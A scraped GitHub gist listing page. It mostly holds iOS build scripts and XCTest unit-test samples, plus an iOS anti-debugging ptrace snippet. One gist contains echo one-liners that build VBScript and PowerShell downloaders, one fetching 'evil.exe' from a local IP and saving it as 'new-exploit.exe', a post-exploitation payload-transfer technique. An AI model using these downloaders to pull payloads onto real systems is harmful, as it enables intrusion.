Skip to content

Instantly share code, notes, and snippets.

View DiegoCaridei's full-sized avatar

DiegoCaridei DiegoCaridei

View GitHub Profile
@abury
abury / gist:1404051
Created November 29, 2011 08:45
Simple iOS Build Script
#!/bin/sh
# Simple iOS build script
# Written by Aron Bury, 29/11/2011
appname="AwesomeApp"
target_name="$appname"
sdk="iphoneos"
certificate="iPhone Developer: Joe Blogs"
@ccabanero
ccabanero / Sample iOS Unit Tests: Working with a ViewController composed of TableViews
Last active November 9, 2023 09:00
Sample iOS Unit Tests: Working with a ViewController composed of TableViews
import XCTest
@testable import YourAppTargetname
class SideMenuViewControllerTest: XCTestCase {
var viewControllerUnderTest: SideMenuViewController!
override func setUp() {
super.setUp()
@ccabanero
ccabanero / Sample iOS Unit Tests: Working with a ViewController composed of MKMapView
Last active February 8, 2021 08:46
Sample iOS Unit Tests: Working with a ViewController composed of MKMapView
import UIKit
import XCTest
import MapKit
class ExampleTests: XCTestCase {
//declaring the ViewController under test as an implicitly unwrapped optional
var viewControllerUnderTest : ViewController!
override func setUp() {
@ccabanero
ccabanero / Sample iOS Unit Tests: Working with a ViewController composed of a UILabel
Last active March 9, 2021 15:08
Sample iOS Unit Tests: Working with a ViewController composed of a UILabel
import XCTest
@testable import UnitTests
class ExampleTests: XCTestCase {
var viewControllerUnderTest: ViewController!
override func setUp() {
super.setUp()
@sckalath
sckalath / wget_vbs
Last active July 18, 2024 14:35
wget vbscript
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
@joswr1ght
joswr1ght / iosdebugdetect.cpp
Created December 29, 2014 16:21
Sample code to use ptrace() through dlsym on iOS to terminate when a debugger is attached. NOT FOOLPROOF, but it bypasses Rasticrac decryption.
// Build on OS X with:
// clang debugdetect.cpp -o debugdetect -arch armv7 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk/ -miphoneos-version-min=7
#import <dlfcn.h>
#import <sys/types.h>
#import <stdio.h>
typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data);
void disable_dbg() {
ptrace_ptr_t ptrace_ptr = (ptrace_ptr_t)dlsym(RTLD_SELF, "ptrace");
ptrace_ptr(31, 0, 0, 0); // PTRACE_DENY_ATTACH = 31
}
echo $storageDir = $pwd > wget.ps1
echo $webclient = New‐Object System.Net.WebClient >>wget.ps1
echo $url = "http://192.168.10.52:8000/evil.exe" >>wget.ps1
echo $file = "new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
@ccabanero
ccabanero / Sample iOS Integration Test: Test When Model performs work over the Network
Last active June 10, 2019 22:06
Sample iOS Integration Test: Test When Model performs work over the Network
// Example of an asynchronous unit test
func testUserLogin() {
let readyExpectation = expectationWithDescription("ready")
User.loginWithUsername("kris@bla.org", password: "blah") { (isSuccess) -> Void in
let expectedLoginSuccessStatus = true
@mchirico
mchirico / twotableviewsInOneView.swift
Last active June 5, 2023 08:47
Creating multiple tableViews in one ViewController...this just starts out as a view controller
//
// ViewController.swift
// Delete
//
// Created by Mike Chirico on 10/21/15.
// Copyright © 2015 Mike Chirico. All rights reserved.
//
import UIKit
@ccabanero
ccabanero / Sample iOS Unit Tests: Working with a ViewController that presents a UIAlertController
Last active September 4, 2022 20:17
Sample iOS Unit Tests: Working with a ViewController that presents a UIAlertController
func testControllerShowsAlertIfUserLogsInWithEmptyUsernameAndPasswordTextField() {
// mock of LoginViewController
class MockLoginViewController: LoginViewController {
var presentViewControllerTarget: UIViewController?
override func presentViewController(viewControllerToPresent: UIViewController, animated flag: Bool, completion: (() -> Void)?) {
presentViewControllerTarget = viewControllerToPresent
}
}